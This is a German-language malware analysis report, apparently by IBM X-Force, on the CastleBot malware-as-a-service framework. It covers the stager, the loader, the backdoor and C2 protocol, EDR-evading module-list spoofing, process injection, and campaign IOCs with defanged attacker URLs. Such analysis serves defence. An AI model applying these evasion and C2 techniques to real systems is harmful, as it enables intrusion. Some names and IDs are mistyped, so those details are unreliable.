Analyse des CastleBot Malware-as-a-Service-Betriebs

Drei digitale Monitore auf einem Schreibtisch zeigen eine rote, kritische Fehlermeldung an.

Autor

Golo Mühr

Malware Reverse Engineer

IBM

IBM X-Force untersucht ein neu aufgetauchtes Malware-Framework namens CastleBot. Es wird angenommen, dass die Malware Teil eines Malware-as-a-Service (MaaS)-Betriebs ist und speziell für eine flexible Malware-Bereitstellung konzipiert wurde. CastleBot wird derzeit von Cyberkriminellen genutzt, um alles Mögliche zu verbreiten, von Infostealern bis hin zu Hintertüren wie NetSupport und WarmCookie, die mit Ransomware-Angriffen in Verbindung gebracht werden.

Besonders besorgniserregend an CastleBot ist die Art seiner Verbreitung: meist über mit Trojanern infizierte Software-Installationsprogramme, die von gefälschten Webseiten heruntergeladen werden und ahnungslose Benutzer dazu verleiten, die Infektion selbst auszulösen. Diese Technik ist Teil eines wachsenden Trends, den X-Force beobachtet. Dies wird häufig durch SEO-Poisoning ermöglicht, was dazu führt, dass bösartige Seiten in Suchmaschinen einen höheren Rang einnehmen als legitime Softwarevertreiber. Sobald CastleBot im System ist, durchläuft er einen dreistufigen Prozess: einen Stager/Downloader, einen Loader und eine zentrale Backdoor, die eine Reihe von Aufgaben von ihrem Command-and-Control-Server (C2) anfordert. Die von der infizierten Maschine gesammelten Informationen ermöglichen es den Betreibern, Opfer leicht zu filtern, laufende Infektionen zu verwalten und Malware präzise auf hochwertige Ziele bereitzustellen.

CastleBot entwickelt sich immer noch weiter, und unsere Forschung zeigt, dass es wahrscheinlich gerade erst anfängt. In diesem Bericht erläutern wir, wie es funktioniert, wie es sich verbreitet und warum es wichtig ist.

Wesentliche Feststellungen:

  • CastleBot ist eine neue Malware, die wahrscheinlich als Malware-as-a-Service betrieben wird und zur Bereitstellung einer Vielzahl bösartiger Nutzlasten eingesetzt werden kann.
  • Die folgenden Payloads reichen von Infostealern bis hin zu Backdoors im Zusammenhang mit Ransomware-Angriffen wie NetSupport und WarmCookie
  • X-Force stellte fest, dass mit Trojanern infizierte Software-Installationsprogramme der häufigste Infektionsvektor für die Verbreitung von CastleBot sind.
  • Das CastleBot-Framework umfasst drei Komponenten: einen Stager, einen Loader und einen Kern und befindet sich offenbar in aktiver Entwicklung.
  • Die Malware scheint es den Betreibern zu ermöglichen, Opfer einfach zu filtern, Nutzdaten zu aktualisieren und mehrere Kampagnen während ihres gesamten Lebenszyklus zu verwalten.

Überblick

CastleBot erschien erstmals Anfang 2025. X-Force stellte ab Mai eine Zunahme des Volumens von Stichproben und verschiedenen Nutzlasten fest und hat seitdem die Bereitstellung verschiedener Backdoor- und Infostealer-Nutzlasten beobachtet. Der häufigste Infektionsvektor von CastleBot ist trojanisierte Software, was Teil eines Trends ist, den X-Force seit 2024 fortsetzt. Trojanische Softwarepakete und Installationsprogramme werden oft über gefälschte Websites verbreitet, die SEO-Vergiftung nutzen, um Opfer anzulocken. CastleBot wurde außerdem über GitHub-Repositories verteilt, indem es legitime Software imitierte, sowie über die beliebte ClickFix-Technik.

X-Force identifizierte drei Komponenten als Teil des CastleBot-Malware-Frameworks: einen Stager, einen Loader und den CastleBot-Kern/die Backdoor.

Ein Flussdiagramm, das die CastleBot-Infektionskette veranschaulicht
Abb. 1: CastleBot-Infektionskette

Beachten Sie, dass frühere öffentliche Berichte von Prodraft sich auf dasselbe Malware-Framework als „CastleLoader“ beziehen.

CastleBot Stager

In den meisten Fällen wird die CastleBot-Kernkomponente über einen Shellcode-Stager bereitgestellt, der zur selben CastleBot-Malware-Familie gehört. Der Stager ist eine leichte Shellcode-Nutzlast, die von jedem anderen First-Stage-Loader injiziert werden kann. X-Force beobachtete verschiedene Crypter, die mit CastleBot verwendet wurden, darunter Dave, ein AutoIt-basierter Crypter, sowie einfache Crypter, die in C kompiliert wurden.

Die Malware verwendet den DJB2-Hashing-Algorithmus, um notwendige APIs zur Laufzeit aufzulösen. Bevor jedem API-Aufruf lädt es die entsprechende DLL und durchsucht die Export-Adresse-Tabelle (EAT) nach der API-Funktion via vorab generierten DJB2-Hashes. Sollte der Export an eine andere DLL weitergeleitet werden, analysiert der Stager den DLL-Namen, lädt ihn und löst die Funktion über GetProcAddress auf.

Nach der Ausführung lädt der Stager zwei Nutzdaten via HTTP mit dem User-Agent „Googlebot“ herunter. Die URL-Pfade zwischen den Beispielen sind ähnlich und adressieren denselben C2-Server wie die CastleBot-Kern-Komponente.

Beispiel für Download-URLs:

http://173.44.141[.]89/service/download/data_3x.bin

http://173.44.141[.]89/service/download/data_4x.bin

Screenshot des dekompilierten CastleBot-Stagers
Abb. 2: Screenshot des dekompilierten CastleBot-Stagers

Beide Payloads werden über eine hartcodierte XOR-Zeichenfolge entschlüsselt, in diesem Fall „GySDoSGySDoS“ (UTF-16-codiert), und zeigt einen PE (CastileBot-Core) und einen Shellcode-Stub (CastileBot Loader).

Der Stager verwendet dann VirtualProtect , um die Ausführung auf dem Heap für den Speicherbereich zu aktivieren, in dem die zweite entschlüsselte Shellcode-Nutzlast gespeichert wird. Letzteres, das als Loader fungiert, wird direkt im Speicher ausgeführt und erhält als Argument einen Zeiger auf die entschlüsselte PE.

CastleBot-Loader

Der CastleBot Loader ist ein voll funktionsfähiger PE-Loader, der zunächst jeden Abschnitt des bereitgestellten PE in eine neue Speicherregion abbildet, die mit NtAllacateVirtualMemory zugewiesen wurde. Anschließend werden notwendige Relokationen behoben, Importe gelöst, die entsprechenden Speicherschutzoptionen festgelegt und bestehende TLS-Rückruffunktionen ausgeführt.

Insbesondere richtet der Lader auch eine neue LDR_DATA_TABLE_ENTRY-Struktur und den entsprechenden LDR_DDAG_NODE (erweitert in Windows 8 und später) ein, die dann in die PEB_LDR_DATA doppelt verknüpften Listen mit den geladenen Modulen für jeden Prozess eingefügt werden. Für EDR-Agenten, die den PEB überwachen, würde dies den Eindruck erwecken, als sei die eingeschleuste Nutzlast rechtmäßig vom Betriebssystem geladen worden.

CastleBot Loader richtet die Strukturen LDR_DATA_TABLE_ENTRY und LDR_DDAG_NODE ein und fügt Daten in die Modullisten von PEB_LDR_DATA ein.
Abb. 3: CastleBot Loader richtet die Strukturen LDR_DATA_TABLE_ENTRY und LDR_DDAG_NODE ein und fügt sie in die Modullisten von PEB_LDR_DATA ein.

Sofern die eingespritzte Datei keine DLL ist, wird das ImageBaseAddress-Feld des PEB ebenfalls auf die Basisadresse der eingespritzten Nutzlast gesetzt.

Um die Payload auszuführen, führt CastleBot Loader den Einstiegspunkt aus oder weist eine neue Konsole für Anwendungen zu.

Code, der die Hauptfunktion von CastleBot Loader darstellt
Abb. 4: Hauptfunktion von CastleBot Loader

In dem oben analysierten Beispiel ist die injizierte Nutzlast die x86 CastleBot-Backdoor (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04).

CastleBot-Kern

Der CastleBot-Kern verwendet denselben API-Auflösungsmechanismus wie die Hashing-Algorithmus und Loader-Komponenten, mit Ausnahme des Hashing-Algorithmus, der der AP-Hash ist, der von Arash Partow entwickelt wurde.

Zuerst beginnt die Backdoor mit der Entschlüsselung ihrer Konfiguration. Fast alle Strings im gesamten Binärcode, einschließlich derjenigen, die Teil der Konfiguration sind, werden als UTF-16 gespeichert und inline über einen eindeutigen 4-Byte-XOR-Schlüssel für jede Zeichenkette entschlüsselt. Während der Entschlüsselung wird folgende Konfigurationsstruktur erstellt:

struct CONFIG
{
  wchar_t *p_campaign_id;   //
81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  int size_utf16_campaign_id;
  int size_utf8_campaign_id;
  wchar_t *p_URL;           // http://173.44.141[.]89/service
  int size_utf16_URL;
  int size_utf8_URL;
  wchar_t *p_useragent;     // fTniXgvddlgotdAXke2CRZy
  int size_utf16_useragent;
  int size_utf8_useragent;
  wchar_t *p_mutex_name;    // 10KCnWHtIoABhkL2Cl3u
  int size_utf16_mutex_name;
  int size_utf8_mutex_name;
  DATA_BUFFER_STRUCT *p_chacha_key;     //
0x84fda801005fdd07340a1ca6d8a351adc6cfe9e39ffe7498a0955209ad2f7978
  int zero_34;
  DATA_BUFFER_STRUCT *p_chacha_nonce;       // 0x0b5ac47bfeeaf4af61726a5c
  int zero_3C;
};

Die Malware versucht, eine Mutex mit dem Namen aus der Konfiguration zu erstellen, um sicherzustellen, dass nur eine einzige Instanz ausgeführt wird. Im nächsten Schritt sendet es eine HTTP-GET-Anfrage an die festkodierte URL, um die Einstellungen abzurufen, wobei die Kampagnen-ID im URL-Pfad verwendet wird:

GET
/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: fTniXgvddlgotdAXke2CRZy
Host: 173.44.141[.]89

Als Reaktion darauf erhält CastleBot einen Block verschlüsselter Daten.

C2-Kommunikation

Alle C2-Kommunikation wird über den symmetrischen ChaCha-Algorithmus verschlüsselt, abgesehen von der anfänglichen GET-Anfrage der Malware. Nach der Entschlüsselung verwendet das C2-Protokoll eine serialisierte benutzerdefinierte Datenstruktur, die intern als Container bezeichnet wird und Werte verschiedener Typen speichern kann.

Serialisierte Container

Am Anfang der serialisierten Datenstruktur steht immer ein Feld vom Typ ContainerFieldArray. Die untenstehenden Strukturen definieren weiter, wie Array- und Bool-Typen aufgebaut werden:

enum ContainerFieldType {
    CONTAINER_FIELD_TYPE_NONE,
    CONTAINER_FIELD_TYPE_BOOL,
    CONTAINER_FIELD_TYPE_UINT8,
    CONTAINER_FIELD_TYPE_INT8,
    CONTAINER_FIELD_TYPE_UINT16,
    CONTAINER_FIELD_TYPE_INT16,
    CONTAINER_FIELD_TYPE_UINT32,
    CONTAINER_FIELD_TYPE_INT32,
    CONTAINER_FIELD_TYPE_UINT64,
    CONTAINER_FIELD_TYPE_INT64,
    CONTAINER_FIELD_TYPE_STRINGA,
    CONTAINER_FIELD_TYPE_STRINGW,
    CONTAINER_FIELD_TYPE_BLOB,
    CONTAINER_FIELD_TYPE_ARRAY
}

struct FIELD_NAME {
    WORD fieldname_len;
    wchar fieldname[];
}

struct CONTAINER_FIELD_ARRAY {
    ContainerFieldType type;
    FIELD_NAME field_name;
    SIZE_T size;
    union {
        CONTAINER_FIELD_NONE none;
        CONTAINER_FIELD_BOOL bool;
        CONTAINER_FIELD_UINT8 uint8;
        CONTAINER_FIELD_INT8 int8;
        CONTAINER_FIELD_UINT16 uint16;
        CONTAINER_FIELD_INT16 int16;
        CONTAINER_FIELD_UINT32 uint32;
        CONTAINER_FIELD_INT32 int32;
        CONTAINER_FIELD_UINT64 uint64;
        CONTAINER_FIELD_INT64 int64;
        CONTAINER_FIELD_STRINGA stringa;
        CONTAINER_FIELD_STRINGW stringw;
        CONTAINER_FIELD_BLOB blob;
        CONTAINER_FIELD_ARRAY array;
    };
}

struct CONTAINER_FIELD_BOOL {
    ContainerFieldType type; // CONTAINER_FIELD_TYPE_BOOL=0x01
    FIELD_NAME field_name;
    BYTE bool;
}

Beim Parsen des entschlüsselten Containers, der die von der Hintertür angeforderten Einstellungen definiert, beginnen die Daten mit dem Byte 0x0D, das den Typ ContainerFieldArray angibt.Auf dieses Byte folgt der Feldname, der wiederum aus der 2-Byte-Länge und dem UTF-16-kodierten Namen besteht. Nach dem Namen definiert ein Array-Feld eine 4-Byte-Länge der Daten, gefolgt von den Daten selbst, die wiederum mit dem ersten Byte beginnen, das den Typ definiert.

CastleBot-Einstellungscontainer

Die von der oben analysierten Stichprobe empfangenen Einstellungen werden wie folgt ausgewertet.

Serialisierte Daten:

00000000  0d 08 00 72 00 6f 00 6f 00 74 00 89 00 00 00 0d  |...r.o.o.t......|
00000010  10 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00  |..s.e.t.t.i.n.g.|
00000020  73 00 72 00 00 00 01 18 00 72 00 75 00 6e 00 5f  |s.r......r.u.n._|
00000030  00 61 00 73 00 5f 00 61 00 64 00 6d 00 69 00 6e  |.a.s._.a.d.m.i.n|
00000040  00 00 01 0e 00 61 00 6e 00 74 00 69 00 5f 00 76  |.....a.n.t.i._.v|
00000050  00 6d 00 00 01 1e 00 70 00 72 00 65 00 76 00 65  |.m.....p.r.e.v.e|
00000060  00 6e 00 74 00 5f 00 72 00 65 00 73 00 74 00 61  |.n.t._.r.e.s.t.a|
00000070  00 72 00 74 00 00 01 1e 00 73 00 68 00 6f 00 77  |.r.t.....s.h.o.w|
00000080  00 5f 00 66 00 61 00 6b 00 65 00 5f 00 65 00 72  |._.f.a.k.e._.e.r|
00000090  00 72 00 6f 00 72 00 00                          |.r.o.r..|

Deserialisiertes Objekt:

root: {
    settings: {
        run_as_admin: False,
        anti_vm: False,
        prevent_restart: False,
        show_fake_error: False,
    }
}

Für jede aktivierte Einstellung werden von CastleBot die folgenden Aktionen ausgeführt:

run_as_admin: Malware führt seinen übergeordneten Prozess über "cmd.exe /c <parent_process>" mittels ShellExecuteW mit dem Verb "runas" aus, um ihn als Administrator zu starten.

anti_vm: CastleBot verwendet die Anweisung cpuid mit dem Blatt 0x40000000, um zu versuchen, Hypervisor-Umgebungen zu erkennen. Wenn entweder VMware oder Parallels entdeckt werden, wird die Malware beendet.

prevent_restart: CastleBot erstellt eine neue versteckte Datei in %PROGRAMDATA% mit dem Namen, der mit dem in der Konfiguration eingebetteten Mutex-Namen übereinstimmt. Wenn die Datei bereits existiert, wird die Malware beendet.

Show_fake_Error: Die Malware zeigt ein Meldungsfenster „Systemfehler“ mit der Meldung „Das Programm kann nicht gestartet werden, da die VCRUNTIME140.LL auf Ihrem Computer fehlt. Versuchen Sie, das Programm neu zu installieren, um dieses Problem zu beheben.

Host-Enumeration

In den nächsten Schritten sammelt CastleBot Informationen über den infizierten Host, um ihn beim C2-Server zu registrieren und Aufgaben anzufordern.

  • Benutzername über GetUserNameW
  • NetBIOS-Name über GetComputerNameW
  • Systemarchitektur über IsWow64Process
  • Lokaler DNS-Domainname, indem Sie LsaQueryInformationPolicy verwenden, um die Struktur PolicyDnsDomainInformation abzurufen. Der Standardwert ist „WORKGROUP“.
  • Volume-Seriennummer über GetVolumeInformationW abgerufen.CastleBot verwendet es, um eine eindeutige Opfer-ID mithilfe eines linearen Kongruenzgenerators (LCG) mit einem Multiplikator von 0x41C64E6D und einem Addend von 0x3039 zu berechnen.
  • Windows-Version über RtlGetVersion und GetSystemMetrics(89)

Die Informationen werden in das untenstehende Objekt kompiliert, gefolgt von Serialisierung und ChaCha-Verschlüsselung:

root: {
    information: {
        access_key: "fTniXgvddlgotdAXke2CRZy",
        campaign_identifier:
"81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3",
        machine_id: <calculated_victim_id>,
        build_version: "1.0",
        username: <username>,
        computer_name: <NetBIOS name>,
        domain_name: <local DNS domain name>,
        windows_version: <Windows version>,
        arch: <system architecture>,
    }
}

Die fest codierten Werte sind der Zugriffsschlüssel (identisch mit dem User-Agent aus der Konfiguration), die Kampagnen-ID und die CastleBot-Build-Version, die „1.0“ lautet, für die analysierte Probe.

Die Backdoor sendet die verschlüsselten Daten in einer HTTP-POST-Anfrage an

http://173.44.141[.]89/service/tasks

 Die Antwort ist ein größerer verschlüsselter Container mit den vorkonfigurierten Aufgaben des CastleBot.

CastleBot-Aufgabencontainer

Der Container, den das analysierte CastleBot-Sample vom C2-Server erhält, wird entschlüsselt und in ein Objekt mit den folgenden Feldern deserialisiert:

root: {
    access_key: "fTniXgvddlgotdAXke2CRZy",
    tasks: {
        {
            id: 16,
            url: "http://173.44.141[.]89/service/download/docusign2.exe",
            install_path: "%TEMP%\docusign-auth2.exe",
            launch_method: 1,
            argument: "",
            run_as_admin: False,
            startup_method: 1,
            is_encrypted_container: False,
            container_encryption_key: "",
            auto_unpack_zip: False,
            zip_executable_files: {},
        }
    }

}

Das Feld „tasks“ ist ein benutzerdefinierter Array-Typ, wie oben beschrieben, der mindestens ein unbenanntes Array (Name der Länge Null) enthält, von denen jedes eine Aufgabe darstellt. CastleBot kann auch ein Array mit mehreren Aufgaben erhalten, die nacheinander ausgeführt werden sollen. Jede Aufgabe enthält eine ID und mehrere Felder, die angeben, wie die Aufgabe ausgeführt werden soll. Diese Felder werden bei der Deserialisierung in eine Aufgabenstruktur kopiert.

Aufgabenausführung

Das wichtigste Feld in jeder Aufgabe ist die „launch_method“, die Art der Nutzlast bestimmt, die von CastellBot verarbeitet werden soll.

Startmethode

Nutzlast

Ausführung

1

EXE-Datei von URL heruntergeladen

Über CreateProcessW oder ShellExecuteW 

2

DLL von URL heruntergeladen

Über ShellExecuteW und rundll.exe

3

DLL von URL heruntergeladen

Über LoadLibraryW

4

PE von URL heruntergeladen

In den neuen Prozess injiziert

5

PowerShell-Befehl im Feld „Argument“.

Über ShellExecuteW

6

BAT-Befehl in das Feld „argument“ ein

Über ShellExecuteW

Die anderen Felder können verwendet werden, um spezifische Optionen für die Ausführung der Aufgabe festzulegen:

Feldname

Beschreibung

id

Eindeutige Task-ID, mit der die erfolgreiche Ausführung an den C2-Server zurückgemeldet wird

url

URL zum Abrufen der Nutzlast. Payloads werden oft auf dem C2-Server unter http://<castlebot_c2>/service/download/<payload_name>gehostet

install_path

Zielpfad für Prozesseinjektion, der Umgebungsvariablen enthalten kann, oder einfach „:SELF:“, wodurch die Nutzlast in ein Duplikat des übergeordneten Prozesses injiziert wird.

Argument

Argumente für Prozesse in install_path oder Befehle für PowerShell/BAT-Ausführung

run_as_admin

Wenn gesetzt, verwenden Ausführungen über ShellExecuteW das Verb „runas“.

startup_method

Wenn der Wert auf „1“ gesetzt ist, wird die Persistenz für die Nutzdaten über eine geplante Aufgabe erstellt, die bei jeder Anmeldung ausgelöst wird. 

is_encrypted_container

Wenn gesetzt, wird die von der URL heruntergeladene Nutzlast RC4-entschlüsselt und als weiterer Container geparst, um die Nutzlast der Aufgabe abzurufen.

container_encryption_key  

Der RC4-Schlüssel wird mit dem verschlüsselten Container verwendet.

auto_unpack_zip

Wenn gesetzt, wird die Nutzlast als ZIP-Datei behandelt und manuell extrahiert.

zip_executable_files

Eine Liste der Zieldateien im ZIP-Archiv, die gemäß der Startmethode ausgeführt werden sollen.

wow64_bypass

Eine erst kürzlich hinzugefügte Option, mit der Sie angeben können, ob stattdessen 32-Bit-System-Binärdateien gestartet werden sollen.

  

Process Injection

CastleBot unterstützt Simple Process Injection für PE-Nutzlasten. Es beginnt mit der Erstellung eines neuen unterbrochenen Prozesses, basierend auf dem Installationspfad und den Argumentfeldern. Um unter Windows 11 24H2 und späteren Versionen funktionieren zu können, entschieden sich die Malware-Entwickler dafür, die NtManageHotPatch -Funktion der NTDLL im Speicher einzubinden, um die neu hinzugefügte Speicherprüfung zu umgehen. Weitere Einzelheiten finden Sie im Beitrag von Hasherezade, welche auch die genaue POC-Implementierung bereitstellt, die von CastleBot verwendet wird:

Code, der CastleBot beim Hooking von NtManageHotPatch zeigt
Abb. 5: CastleBot bindet NtManageHotPatch ein

Der Rest der Prozessinjektion folgt gängigen Injektionstechniken, indem Speicher im Zielprozess zugewiesen, die Abschnitte in den Puffer geschrieben und der Thread-Kontext angepasst wird, bevor die Ausführung fortgesetzt wird.

Code zur Darstellung der CastleBot-Prozessinjektion
Abb. 6: CastleBot-Prozesseinspritzung

Persistenz

Wenn das Feld „Startmethode“ auf „1“ gesetzt ist, stellt CastleBot die Persistenz durch die Erstellung einer geplanten Aufgabe her. Um die Aufgabe zu registrieren, verwendet die Malware die COM-Schnittstelle ITaskService, um sich mit dem Task Scheduler-Service zu verbinden. Sie erstellt eine neue Aufgabe und eine Ausführungsaktion für die Ziel-Nutzlast, die jedes Mal ausgelöst wird, wenn sich der aktuelle Benutzer anmeldet (TASK_TRIGGER_LOGON).

Abschluss der Aufgabe

Jede Aufgabe im Container „tasks“ wird iterativ anhand ihrer angegebenen Felder bearbeitet. Sobald eine Aufgabe fehlerfrei abgeschlossen wurde, meldet die Malware die erfolgreiche Ausführung über eine HTTP-GET-Anfrage an:

http://<c2_server>/service/tasks/complete/id/<task_id>

Aktualisierungen Juli 2025

X-Force entdeckte eine aktualisierte CastleBot-Kernvariante, die neue Startmethoden und eine Option namens "wow64_bypass" unterstützt, mit der speziell 32-Bit-Systembinärdateien im Ordner SysWOW64 gestartet werden können.

Startmethode

Nutzlast

Ausführung

1

EXE-Datei von URL heruntergeladen

Über CreateProcessW oder ShellExecuteW 

2

DLL von URL heruntergeladen

Über ShellExecuteW und rundll.exe

3

DLL von URL heruntergeladen

Über ShellExecuteW und regsrv32.exe

4

DLL von URL heruntergeladen

Über LoadLibraryW

5

PE von URL heruntergeladen

Über einen alten Mechanismus in den neuen Prozess eingespeist

6

PE von URL heruntergeladen

Über PE-Lader in den neuen Prozess eingespritzt

7

PowerShell-Befehl im Feld „Argument“.

Über ShellExecuteW

8

BAT-Befehl in das Feld „argument“ ein

Über ShellExecuteW

9

MSI-Datei von URL heruntergeladen

Über ShellExecuteW und msiexec.exe

Die zusätzliche Prozessinjektionsimplementierung (Startmethode 6) schreibt sowohl die CastleBot Loader-Komponente (siehe Analyseabschnitt oben) als auch die PE-Nutzlast in den Zielprozess. Anschließend werden QueueUserAPC und ResumeThread verwendet, um die Ausführung an den Loader zu übertragen, der die PE-Nutzlast ordnungsgemäß in den Speicher lädt und ausführt.

Code zur Darstellung der Prozessinjektion über QueueUserAPC
Abbildung 7: Prozesseinjektion über QueueUserAPC

Diese Technik verwendet deutlich weniger WriteProcessMemory-API-Aufrufe und bietet eine umfassendere Ladefunktion vom CastleBot Loader-Stub.

Kampagnen und Nutzlasten

Das Hauptziel von CastleBot ist es, die Bereitstellung sekundärer Nutzlasten auf Opfermaschinen zu ermöglichen. X-Force hat mehrere verschiedene Payloads aufgedeckt, die von CastleBot verteilt wurden, oft mit mehreren Payloads in einer einzigen Kampagne. Die Payloads sind unterschiedlich komplex, von Standard-Infostealern bis hin zu leistungsfähigeren Backdoors wie NetSupport oder WarmCookie, die mit Ransomware-Angriffen in Verbindung gebracht wurden.

Das CastleBot-MaaS-Framework scheint es Betreibern zu ermöglichen, infizierte Rechner zu filtern und Payloads einfach zu aktualisieren, um mehrere aktive Kampagnen mit großer Flexibilität zu verwalten, wie aus der Analyse und den Screenshots von Prodaft des C2-Panels hervorgeht. Aufgrund der Fluktuation der Payloads und der Möglichkeit des Betreibers, mehrere Aufgaben und Payloads zu einer einzigen Kampagne hinzuzufügen, sind die Infektionsketten von LockBot im Vergleich zu traditionell statischen Malware-Phasen komplexer.

X-Force hat keine Hinweise auf eine weit verbreitete Werbung für MaaS im Dark Web, was darauf hindeuten könnte, dass der Service derzeit nur an eine private Gruppe von verbundenen Unternehmen verkauft wird.

NetSupport

Ohne die Malware als eigenes Framework zu identifizieren, wurden verschiedene Fragmente der Kampagnen, die zu NetSupport führten, im Juni und Juli 2025 von anderen Forschern öffentlich gemeldet.

DomainTools beobachtete gefälschte DocuSign-Seiten, die die ClickFix-Technik verwenden, um ein bösartiges PowerShell-Skript auszuführen, das wiederum CastleBot herunterlädt, um NetSupport bereitzustellen. Kampagnen-IOCs:

a2898897d3ada2990e523b61f3efaacf6f67af1a52e0996d3f9651b41a1c59c9: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
d6eea6cf20a744f3394fb0c1a30431f1ef79d6992b552622ad17d86490b7aa7b:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”.
http://mhousecreative[.]com/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” - CastleBot campaign ID
http://mhousecreative[.]com/service/download/general_1 - NetSupport download
URL hosted on  CastleBot C2 server
2a2cd6377ad69a298af55f29359d67e4586ec16e6c02c1b8ad27c38471145569: NetSupport payload

PaloAlto's Unit42 meldete ähnliche Aktivitäten mit Websites, die DocuSign und Okta imitierten und ClickFix verwendeten, um CastleBot über die ersten Stager- und Loader-Komponenten zu implementieren. Es enthält eine Teilanalyse von einem „NetSupport RAT Loader“, den X-Force als das CastleBot-Framework identifiziert. Kampagnen-IOCs:

8b2ebeff16a20cfcf794e8f314c37795261619d96d602c8ee13bc6255e951a43: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
cbaf513e7fd4322b14adcc34b34d793d79076ad310925981548e8d3cff886527:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”. 
http://80.77.23[.]48/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” -  CastleBot campaign ID

WarmCookie

Eine der interessanteren Payloads von CastleBot ist die WarmCookie-Backdoor (auch bekannt als Quickbind, BadSpace). Es ist wahrscheinlich Teil eines größeren Ökosystems der Cyberkriminalität, das Ransomware-Angriffe ermöglicht, und gehörte zu den Malware-Familien, die während der Operation Endgame im Jahr 2024 erfolgreich von internationalen Strafverfolgungsbehörden ins Visier genommen wurden. Zuvor verteilte der Bedrohungsakteur Hive0137 WarmCookie über bösartige E-Mail-Kampagnen, obwohl laut der Sichtbarkeit von X-Force im Jahr 2025 keine nennenswerte Aktivität festgestellt wurde. WarmCookie ist öffentlich mit TA866/Asylum Ambuscade in Verbindung gebracht.

Die von X-Force beobachtete Kampagne begann im Juni mit einem ZIP-Archiv, das als Installationsprogramm für eine legitime Software getarnt war: SSMS-20.2-enu.zip (4766f5cc6501fc40c7151a0ce1c9d2cc49fca9b0b9cab2a206dd2426947e9afe). Unter den legitimen Komponenten befindet sich eine bösartige ausführbare Datei SSMS_Windows.x64.exe (05ecf871c7382b0c74e5bac267bb5d12446f52368bb1bfe5d2a4200d0f43c1d8), die als Variante des Dave Loaders identifiziert wurde und eine in seinen Ressourcen gespeicherte Nutzlast entschlüsselt. Nach der Entschlüsselung injiziert Dave Loader die CastleBot-Backdoor (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04), die den Auftrag erhält, eine WarmCookie-Payload (5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4) herunterzuladen und auszuführen.

http://173.44.141[.]89/service/download/docusign2.exe

Der WarmCookie C2-Server befindet sich hier:

170.130.165[.]112

Eine zweite Sample, die später im Juni gefunden wurde, verwendete eine ähnliche ausführbare Datei, die einen Installer für Zscaler-Software Zscaler-windows-4.4.0.379-installer-x64.exe imitierte (bf21161c808ae74bf08e8d7f83334ba926ffa0bab96ccac42dde418270387890). Die mit AutoIt kompilierte Binärdatei ist ein einfacher Shellcode-Loader, der den eingebetteten CastleBot-Stager ausführt, welcher wiederum die gleiche CastleBot-Backdoor-Binärdatei (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04) herunterlädt.

Sandbox-Ausführungen des übergeordneten CastleBot-Samples deuten darauf hin, dass derselbe Partner während der Kampagne möglicherweise eine StealC-Payload mit einem C2-Server unter „http://107.158.128[.]105/c91252f9ab114f26.php“ abgelegt hat; X-Force konnte jedoch kein Sample abrufen. 

Beide Kampagnen verwenden die CastleBot-Kampagnen-ID „81a16c72f9c9c4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3“.

Infostealers

Darüber hinaus verfolgt X-Force mehrere CastleBot-Kampagnen, die verschiedene Infostealer bereitstellen. Die Malware unterstützt mehrere Download-Aufgaben für jede Kampagne, was zur Bereitstellung mehrerer Payloads auf demselben Client führt. Die ausführbare Datei AMD_Chipset_DriverOnly_DCH_AMD_Z_V1.2.0.105_20238.exe (e6aab1b6a150ee3cbc721ac2575c57309f307f69cd1b478d494c25cde0baaf85) lädt die eingebettete CastleBot-Kernnutzlast (b45cce4ede6ffb7b6f28f75a0cbb60e65592840d98dcb63155b9fa0324a88be2 ) aus ihren Ressourcen und führt sie aus. Der Endpunkt für die Einstellungen des C2-Servers befindet sich unter

http://62.60.226[.]73/service/settings/32e7ebb66296d22b4cf28dbe6d8dfd314590175d5fc2168609886985d6c807c1

und es wurde festgestellt, dass insgesamt drei separate Aufgaben in einer einzigen C2-Nachricht übertragen wurden, wobei jede Aufgabe eine unterschiedliche Nutzlast enthielt:

  • Aufgaben-ID: 0x16
    • URL herunterladen: https[:]//google.herionhelpline[.]com/app/AcerUSBUpdate.exe
    • Nutzlast: 03122e46a3e48141553e7567c659642b1938b2d3641432f916375c163df819c1 (Rhadamanthys)
    • Installationspfad: Keine
    • Startmethode: 6
  • Aufgaben-ID: 0x17 
    • URL herunterladen: https[:]//google.herionhelpline[.]com/app/light1_v5_signed.html
    • Nutzlast: 12de997634859d1f93273e552dec855bfae440dcf11159ada19ca0ae13d53dff (Remcos)
    • Installationspfad: %ProgramData%\AmazonApp\AmazonWebServiceUpdate.exe
    • Startmethode: 1
  • Aufgaben-ID: 0x18
    • https[:]//google.herionhelpline[.]com/app/SlackUpdateWeb.html
    • Payload: c8f95f436c1f618a8ef5c490555c6a1380d018f44e1644837f19cb71f6584a8a (DeerStealer)
    • Installationspfad: %AppData%\SlackUpdate\SlackServiceUpdate.exe
    • Startmethode: 1

X-Force entdeckte darüber hinaus Kampagnen, bei denen SecTopRAT (auch bekannt als ArechClient), HijackLoader (auch bekannt als Shadowladder) und MonsterV2 (auch bekannt als Aurotun Stealer) eingesetzt wurden.

SecTopRAT und HijackLoader:

  • GlobalProtect-win-6.3.zip mit ausführbarer Datei zum Sideloading von msvcp140.dll (8bf93cef46fda2bdb9d2a426fbcd35ffedea9ed9bd97bf78cc51282bd1fb2095)
  • CastleBot C2-Server: http[:]//107.158.128[.]45/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
